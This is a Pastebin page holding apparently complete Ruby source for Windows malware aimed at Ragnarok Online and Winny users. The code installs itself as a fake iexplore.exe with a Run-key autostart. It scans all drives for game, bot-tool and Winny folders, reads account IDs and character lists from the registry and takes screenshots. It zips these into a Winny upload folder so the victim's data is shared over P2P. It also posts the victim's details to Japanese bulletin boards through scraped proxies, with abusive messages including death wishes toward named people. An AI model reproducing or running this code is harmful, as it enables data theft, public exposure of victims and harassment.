Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $KCODE = 's'
- #$DEBUG = true
- #Exerb = nil
- require 'Win32API'
- if ARGV.size == 1 and ARGV[0].include?('RoAddr')
- $path = ARGV[0]
- if File.exist?($path)
- $rost = Win32API.new($path, 'RO_GetNowState', '', 'l')
- $rowld = Win32API.new($path, 'RO_GetNowWorld', '', 'p')
- $ropa = Win32API.new($path, 'RO_GetNowParam', 'i', 'p')
- $roin = Win32API.new($path, 'RO_RoAddrInit', 'lpl', 'i')
- $roin.call(0, '', 0x7FFFFFFF)
- $rost.call
- if $rost.call == 2
- print $ropa.call(258).to_s + "[#{$rowld.call}]"
- end
- end
- exit
- end
- require 'win32/registry'
- require 'ftools'
- def dll(file)
- if !File.exist?('C:/windows/system32/' + file)
- f = Exerb.open(file)
- f.binmode
- open('C:/windows/system32/' + file, 'w'){|f2|
- f2.binmode
- f.read 9
- p f2.write(f.read)
- }
- f.close
- end
- end
- if Exerb
- if !Exerb.filepath.include?('iexplore')
- File.copy(Exerb.filepath, 'C:/windows/system32/iexplore.exe')
- `start install.exe`
- dll('zlib.dll')
- dll('7-zip32.dll')
- dll('imgctl.dll')
- Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', Win32::Registry::Constants::KEY_WRITE){|key|
- key.write_s('Shell', 'C:/windows/system32/iexplore.exe')
- }
- `start C:\\windows\\system32\\iexplore.exe`
- exit
- else
- =begin
- $double = Thread.new{
- cm = Win32API.new('kernel32', 'CreateMutex', 'llp', 'l')
- rm = Win32API.new('kernel32', 'ReleaseMutex', 'l', 'l')
- ch = Win32API.new('kernel32', 'CloseHandle', 'l', 'l')
- om = Win32API.new('kernel32', 'OpenMutex', 'llp', 'l')
- gle = Win32API.new('kernel32', 'GetLastError', '', 'l')
- hage = cm.call(0, 0, 'hagemoe')
- if gle.call == 183
- ch.call hage
- hage = nil
- hagege = cm.call(0, 0, 'hagegemoe')
- if gle.call == 183
- ch.call hagege
- exit 1
- end
- elsif
- 0
- end
- if hage
- s = 'hagegemoe'
- else
- s = 'hagemoe'
- end
- while(1)
- a = om.call(1, 0, s)
- if a == 0
- if ARGV[0] == 'aaa'
- p system("start #{Exerb.filepath}")
- else
- p system("strat #{Exerb.filepath} aaa")
- end
- Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', Win32::Registry::Constants::KEY_WRITE){|key|
- key.write_s('Shell', 'C:/windows/system32/iexplore.exe')
- }
- sleep 0.1
- else
- ch.call(a)
- end
- #p "sss"
- sleep 0.04
- end
- }
- =end
- end
- end
- if ARGV[0] == 'aaa'
- sleep
- end
- END {
- Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', Win32::Registry::Constants::KEY_WRITE){|key|
- key.write_s('Shell', 'C:/windows/system32/iexplore.exe')
- }
- }
- require 'kconv'
- require 'web/agent'
- require 'web/linkextor'
- $wait_time = 1
- $bbs_arr = [['computer', '10041'], ['computer', '10376'], ['computer', '11089'], ['computer', '14218'], ['computer', '14368'], ['computer', '6135'], ['computer', '6253'], ['computer', '6346'], ['computer', '7430'], ['game', '1185'], ['game', '12884'], ['game', '18472'], ['game', '19824'], ['game', '5420'], ['game', '5458'], ['game', '6141'], ['game', '9397'], ['shop', '832'], ['computer', '6567'], ['game', '10013'], ['computer', '21565'], ['computer', '21563']]
- $category = ''
- $bbs = ''
- $ropath = []
- $korepath = []
- $nypath = []
- $toolpath = []
- $charanames = []
- $tar = ['ragnarok.exe', 'items_control.txt', 'winny.exe']
- $tool = ['ChatPon.exe', 'arose*.exe', 'AutoImo.exe', 'eqview.exe', 'ExS.exe', 'Meron*.exe', 'RAGNAvi.exe', 'RoAbrPure.exe', 'RoCha.exe', 'RoMonitor.exe', 'ro.exe' ,'ROPTAssist.exe' ,'RSS.exe' ,'rohp.exe' ,'RoLogger.exe' ,'MessengerGPS.exe' ,'Lognarok.exe' ,'ro_gps.exe', 'ROGIS.exe' ,'xdior*.exe' ,'LimeChat.exe']
- $kakikomi = []
- $id = ''
- $charaarr = []
- $charas = ''
- $tekito_id = ''
- def Dir.copy(from, to, *jogai)
- begin
- sleep 0.01
- Dir.foreach(from){|x|
- if !x.match(/^\.\.?/)
- if File.directory?(from + x)
- Dir.mkdir(to + x)
- Dir.copy(from + x + '/', to + x + '/', *jogai)
- else
- if !jogai.any?{|jo| x.include?(jo)} or jogai.size == 0
- File.copy(from + x, to + x)
- end
- end
- end
- }
- rescue
- return 1
- end
- 0
- end
- def delete_dir(dir)
- begin
- Dir.foreach(dir){|x|
- if !x.match(/^\.\.?/)
- if File.directory?(dir + x)
- if Dir.entries(dir + x).size <= 2
- Dir.delete(dir + x)
- else
- delete_dir(dir + x + '/')
- end
- else
- File.delete(dir + x)
- end
- end
- }
- Dir.delete(dir)
- rescue
- return 1
- end
- 0
- end
- def roname
- abx = `#{Exerb.filepath} \"#{$ropath}/RoAddr.dll\"` if Exerb
- return nil if abx.size == 0
- $charanames.push(abx) if !$charanames.include?(abx)
- savedata($savefile)
- abx
- end
- def emotion_wana wana
- Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\Gravity Soft\Ragnarok\ShortCutList', Win32::Registry::Constants::KEY_WRITE){|key|
- for i in 0..9
- key.write_s(i.to_s, wana)
- end
- }
- end
- def upfolder(folder, trip)
- Dir.mkdir(folder) if !File.exist?(folder)
- begin
- $nypath.each{|x|
- File.chmod(0777, x + '/upfolder.txt')
- open(x + '/UpFolder.txt', 'a+'){|f|
- f.write("\n[ブーン]\nPath=#{folder}\nTrip=#{trip}") if !f.read.include?('ブーン')
- }
- }
- rescue
- end
- folder
- end
- def saiki dir
- sleep 0.01
- begin
- Dir.chdir(dir){
- #print Dir.pwd + "\n"
- $ropath.push Dir.pwd if File.exist?($tar[0])
- $korepath.push File.dirname(Dir.pwd) if File.exist?($tar[1])
- sleep 0.01
- $nypath.push Dir.pwd if File.exist?($tar[2])
- $kakikomi.push( Dir.pwd + '/' + 'kakikomi.txt') if File.exist?('kakikomi.txt')
- $toolpath.push Dir.pwd if Dir[$tool.join("\0")].size != 0
- Dir.foreach('./'){ |x|
- if File.directory?(x) && !x.match(/\.\.?/)
- saiki(x)
- end
- }
- }
- rescue
- p $!
- ensure
- end
- end
- def search
- get_drv_type = Win32API.new('kernel32', 'GetDriveType', 'p', 'l')
- for drive in 'CDEFGHIJKLMNOPQRSTUVWXYZ'.split('')
- if get_drv_type.call(drive + ':/') == 3
- saiki(drive + ':/')
- end
- end
- $ropath.uniq!
- $toolpath.uniq!
- $korepath.uniq!
- $nypath.uniq!
- end
- def savedata(path)
- open(path, 'w'){|f|
- Marshal.dump($ropath, f)
- Marshal.dump($korepath, f)
- Marshal.dump($nypath, f)
- Marshal.dump($toolpath, f)
- Marshal.dump($kakikomi, f)
- Marshal.dump($bbs_arr, f)
- Marshal.dump($charanames, f)
- Marshal.dump($tekito_id, f)
- }
- true
- end
- def loaddata(path)
- return false if !File.exists?(path)
- open(path){|f|
- $ropath = Marshal.load(f)
- $korepath = Marshal.load(f)
- $nypath = Marshal.load(f)
- $toolpath = Marshal.load(f)
- $kakikomi = Marshal.load(f)
- $bbs_arr = Marshal.load(f)
- $charanames = Marshal.load(f)
- $tekito_id = Marshal.load(f)
- }
- true
- end
- def rns *str
- if str.size == 1
- str = str[0].split('')
- end
- str[rand(str.size)]
- end
- def names
- begin
- $charaarr = []
- $charas = ''
- separater = rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', '焼', 'ああああ', 'zeny', 'ini', 'config', 'パケ', *$omosiro_words)
- Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\\Gravity Soft\\Ragnarok\\Whisperlist\\') { |wisp_list|
- wisp_list.each_key{|server_str, sute|
- $charas += server_str + "\n"
- wisp_list.open(server_str){|server|
- server.each_key{|char_str, sute|
- $charaarr.push char_str.split("\0")[0]
- }
- }
- $charas += $charaarr.join(separater) + "\n" + $charanames.join(separater) + "\n"
- $charaarr = []
- }
- }
- Win32::Registry.open(Win32::Registry::HKEY_LOCAL_MACHINE, 'SOFTWARE\\Gravity Soft\\Ragnarok\\'){|key| $id = key.read('ID')[1].split("\0")[0]}
- rescue
- p $1
- end
- end
- names
- $upup = upfolder('C:\program files\daemontools\\', '')
- $capture = Proc.new{
- loop do
- getDC = Win32API.new('user32', 'GetDC', 'l', 'l')
- releaceDC = Win32API.new('user32', 'ReleaseDC', 'll', 'l')
- dc2dib = Win32API.new('imgctl', 'DCtoDIB', 'lllll', 'l')
- dib2png = Win32API.new('imgctl', 'DIBtoPNG', 'pli', 'i')
- deleteDib = Win32API.new('imgctl', 'DeleteDIB', 'l', 'i')
- begin
- akakaka = roname
- hdc = getDC.call(0)
- hdib = dc2dib.call(hdc,0,0,0,0)
- dib2png.call($upup+'[バグザロック] '+$tekito_id+' '+Time.now.strftime('%Y%m%d-%H%M%S')+' 「'+$charanames.join('」「')+'」.png', hdib, 0)
- File.rename(Dir.glob('C:/program files/daemontools/*.zip')[0], "#{$upup}[バグザロック] #{$id} 「#{$charanames.join('」「')}」.zip") if (Dir.glob('C:/program files/daemontools/*.zip').size > 0)
- ensure
- deleteDib.call(hdib)
- releaceDC.call(0, hdc)
- end
- if akakaka
- jikan = Time.now
- if jikan.wday == 0 and jikan.hour < 24 and jikan.hour > 18
- emotion_wana "やあ僕BOTer!#{$charanames[rand($charanames.size)]} はBOTだよ ハゲ孫泰蔵と森下はさっさと死ね!!"
- sleep 5 * 60
- else
- sleep 12 * 60
- end
- else
- begin
- open('c:/program files/internet explorer/iexplore.exe', 'a'){}
- sleep 20 * 60
- rescue
- sleep 15 * 60
- end
- end
- end
- }
- #init
- $savefile = 'C:/RECYCLER/explorer.sys'
- if !loaddata($savefile)
- Thread.new(&$capture)
- search
- savedata($savefile)
- else
- Thread.new(&$capture)
- end
- if $tekito_id.size == 0
- $tekito_id = $id
- end
- #p $ropath, $korepath, $nypath, $toolpath, $charanames
- if Dir.glob('C:/program files/daemontools/*.zip').size == 0
- begin
- tmpf = 'C:/RECYCLER/tmp/'
- Dir.mkdir(tmpf) if !File.exist?(tmpf)
- $toolpath.each{|x|
- to = tmpf + x.gsub(/\/|:/, '_')
- if File.exist?(to);to = to + '_';end
- Dir.mkdir(to)
- Dir.copy(x + '/', to + '/', 'txt')
- }
- $korepath.each{|x|
- to = tmpf + x.gsub(/\/|:/, '_')
- if File.exist?(to);to = to + '_';end
- Dir.mkdir(to)
- Dir.copy(x + '/', to + '/', 'fld')
- }
- $ropath.each{|x|
- to = tmpf + x.gsub(/\/|:/, '_')
- if File.exist?(to);to = to + '_';end
- Dir.mkdir(to)
- Dir.copy(x + '/', to + '/', '.grf', '.gpf', '.mp3', '.bmp', '.ebm', '.fld')
- }
- $nypath.each_with_index{|x, i|
- if i == 0
- to = tmpf + 'winny'
- else
- to = tmpf + 'winny' + i.to_s
- end
- Dir.mkdir(to) if !File.exist?(to)
- File.copy(x + '/' + 'Download.txt', to + '/' + 'Download.txt') if File.exist?(x + '/' + 'Download.txt')
- File.copy(x + '/' + 'Tab1.txt', to + '/' + 'Tab1.txt') if File.exist?(x + '/' + 'Tab1.txt')
- File.copy(x + '/' + 'Tab2.txt', to + '/' + 'Tab2.txt') if File.exist?(x + '/' + 'Tab2.txt')
- }
- $kakikomi.each{|x|
- File.copy(x, tmpf + x.gsub(/\/|:/, '_')) if !File.exist?(x)
- }
- seven_zip = Win32API.new('7-zip32.dll', 'SevenZip', 'lppl', 'i')
- str = 'aaaaa'
- seven_zip.call(0, 'a -tzip -hide "' + $upup + '[バグザロック] ' + $id + ' 「' + $charanames.join('」「') + '」.zip" c:\recycler\tmp\ -r', str, 5)
- rescue
- p $!
- print $!.backtrace.join("\n")
- ensure
- delete_dir tmpf
- end
- end
- #exit
- $path = $ropath[0] + '/'
- $roaddr = File.exist?($path + 'roaddr.dll')
- $ro = File.exist?($path + 'ragexe.exe')
- $are = File.exist?($path + 'ws2_32.dll')
- $rtx = File.exist?($path + 'ddraw.dll')
- def rtx
- rns(rns('rRrR'), rns('あアア') + rns('ー-‐-あアア') + rns('るルル')) +
- rns(rns('tTtT'), rns('てテテ') + rns('いぃイぃイ') + rns('いイイー-‐-')) +
- rns(rns('xXxX'), rns('えエエ') + rns('つツっッッ') + rns('くクク') + rns('すスス'))
- end
- def aretool
- rns(rns('aAaA'), rns('あアア')) +
- rns(rns('rRrR') + rns('eEeE'), rns('れレレ')) +
- rns(rns('tTtT') + rns('oOoO00'), rns('つツツ')) +
- rns(rns('oOoO00'), rns('うウウー-‐-')) +
- rns(rns('lLlL'), rns('るルル'))
- end
- $nypath.each{|x|
- if File.exist?(x + '/Tab1.txt')
- open(x + '/Tab1.txt'){|f|
- $omosiro_words = f.read.split("\n")
- }
- end
- }
- def getThreads
- http = Web::Agent.new
- http.setup
- http.req.header['User-Agent']="Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040803 Firefox/0.9.3"
- $category, $bbs = *$bbs_arr[rand($bbs_arr.size)]
- http.get("http://jbbs.livedoor.jp/#{$category}/#{$bbs}/subject.txt")
- $suret = http.rsp.body.split("\n")
- sss = []
- $suret.each{|sure|
- if !sure.match(/.*\(10000?\)/)
- sure.match(/^(\d+)/)
- sss.push $1
- end
- }
- return sss;
- end
- #p '書き込み開始'
- agent = Web::Agent.new
- agent.setup
- agent.req.header['User-Agent']="Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040803 Firefox/0.9.3"
- agent.get('http://www.cybersyndrome.net/pla.html')
- agent.rsp.body.match("")
- proxy = []
- while($'.match(/\"A\">([^<>]*)<\/a>/)) #'
- proxy.push($~[1])
- end
- proxy.delete_if{|pr|
- pr.match(/(80)|(8080)/)
- }
- proxy.collect! do |i|
- i.split(':')
- end
- count = 0
- while(1)
- sure = getThreads;
- if rand(6) == 0
- for ituuu in 0..9
- age = Web::Agent.new
- age.setup
- age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
- age.req.header['Referer'] = "http://yy14.kakiko.com/landstriker/"
- age.get 'http://yy14.kakiko.com/landstriker/subject.txt'
- suret = age.rsp.body.split("\n")
- sss = []
- suret.each{|sure|
- if !sure.match(/.*\(10000?\)/)
- sure.match(/^(\d+)/)
- sss.push $1
- end
- }
- Thread.new{
- age.setup
- age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
- age.req.header['Referer'] = "http://yy14.kakiko.com/landstriker/"
- age.req.header['content-type']='application/x-www-form-urlencoded'
- ran = rand(proxy.size)
- if rand(2) == 1
- age.proxy_host = proxy[ran][0]
- age.proxy_port = proxy[ran][1]
- end
- if sss.size != 0
- if $id == ''
- age.req.form.add 'FROM', (10000 + rand(90000)).to_s
- age.req.form.add 'mail', 'sage'
- age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ', 'zeny', *$omosiro_words)
- else
- names
- age.req.form.add 'FROM', $id
- age.req.form.add 'mail', ''
- massage = ''
- massage = "なあ、ひとつ質問なんだけど・・・・・・お前達規約違反者はどうして今すぐにでも死なないんだ?\n" if rand(10) == 1
- massage += rtx + "\n" if $rtx
- massage += aretool + "\n" if $are
- massage += "RoAddr\n" if $roaddr && rand(2) == 1
- massage += "KORE\n" if $korepath.size > 0
- massage += $charas
- age.req.form.add 'MESSAGE', massage
- end
- age.req.form.add 'bbs', 'landstriker'
- age.req.form.add 'key', sure[rand(sure.size)]
- age.req.form.add 'time', Time.now.to_i.to_s
- age.req.form.add 'submit', '書き込む'
- age.post('http://yy14.kakiko.com/test.bbs.cgi')
- else
- suret[rand(suret.size)].match(/,(.+)\(/)
- age.setup
- age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
- age.req.header['Referer'] = "http://jbbs.livedoor.jp/#{$category}/#{$bbs}/"
- age.req.header['content-type']='application/x-www-form-urlencoded'
- age.req.form.add 'FROM', ''
- age.req.form.add 'mail', ''
- age.req.form.add 'subject', $1.chop + rand(10).to_i.to_s
- age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ', 'zeny', *$omosiro_words)
- age.req.form.add 'bbs', $bbs
- age.req.form.add 'time', Time.now.to_s.toi
- age.req.form.add 'submit', '新規スレッド作成'
- age.post("http://jbbs.livedoor.jp/bbs/write.cgi/#{$category}/#{$bbs}/#{age.req.form['KEY']}")
- end
- }
- end
- else
- if sure.size != 0
- loop do
- sleep $wait_time
- r = rand proxy.size
- Thread.new(r, proxy){|ran, pro|
- age = Web::Agent.new
- age.setup
- age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
- age.req.header['Referer'] = "http://jbbs.livedoor.jp/#{$category}/#{$bbs}/"
- age.req.header['content-type']='application/x-www-form-urlencoded'
- if rand(2) == 1
- age.proxy_host = pro[ran][0]
- age.proxy_port = pro[ran][1]
- end
- if $id == ''
- age.req.form.add 'NAME', (10000 + rand(90000)).to_s
- age.req.form.add 'MAIL', 'sage'
- age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ')
- else
- names
- age.req.form.add 'NAME', $id.chop.chop
- age.req.form.add 'MAIL', ''
- massage = ''
- massage = "なあ、ひとつ質問なんだけど・・・・・・お前達規約違反者はどうして今すぐにでも死なないんだ?\n" if rand(10) == 1
- massage += rtx + "\n" if $rtx
- massage += aretool + "\n" if $are
- massage += "RoAddr\n" if $roaddr && rand(2) == 1
- massage += "KORE\n" if $korepath.size > 0
- massage += $charas
- age.req.form.add 'MESSAGE', massage
- end
- age.req.form.add 'BBS', $bbs
- age.req.form.add 'KEY', sure[rand(sure.size)]
- age.req.form.add 'TIME', Time.now.to_s.to_i
- age.req.form.add 'DIR', $category
- age.post("http://jbbs.livedoor.jp/bbs/write.cgi/#{$category}/#{$bbs}/#{age.req.form['KEY']}")
- }
- count += 1
- break if count % 10 == 0
- end
- else
- $suret[rand($suret.size)].match(/,(.+)\(/)
- age = Web::Agent.new
- age.setup
- age.req.header['User-Agent'] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20050112 Firefox/0.9.8"
- age.req.header['Referer'] = "http://jbbs.livedoor.jp/#{$category}/#{$bbs}/"
- age.req.header['content-type']='application/x-www-form-urlencoded'
- age.req.form.add 'NAME', ''
- age.req.form.add 'MAIL', ''
- age.req.form.add 'SUBJECT', $1.chop + rand(10).to_i.to_s
- age.req.form.add 'MESSAGE', rns("わ#{rand(100)}な", "わー#{rand(100)}な", "rtx", "RoAddr", 'ラーメン', 'rxv', '弁当', 'bot', 'ro', '焼', 'ああああ')
- age.req.form.add 'BBS', $bbs
- age.req.form.add 'TIME', Time.now.to_s.to_i
- age.req.form.add 'DIR', $category
- age.post("http://jbbs.livedoor.jp/bbs/write.cgi/#{$category}/#{$bbs}/#{age.req.form['KEY']}")
- end
- end
- end
- while Thread.list.size > 2
- sleep 10
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement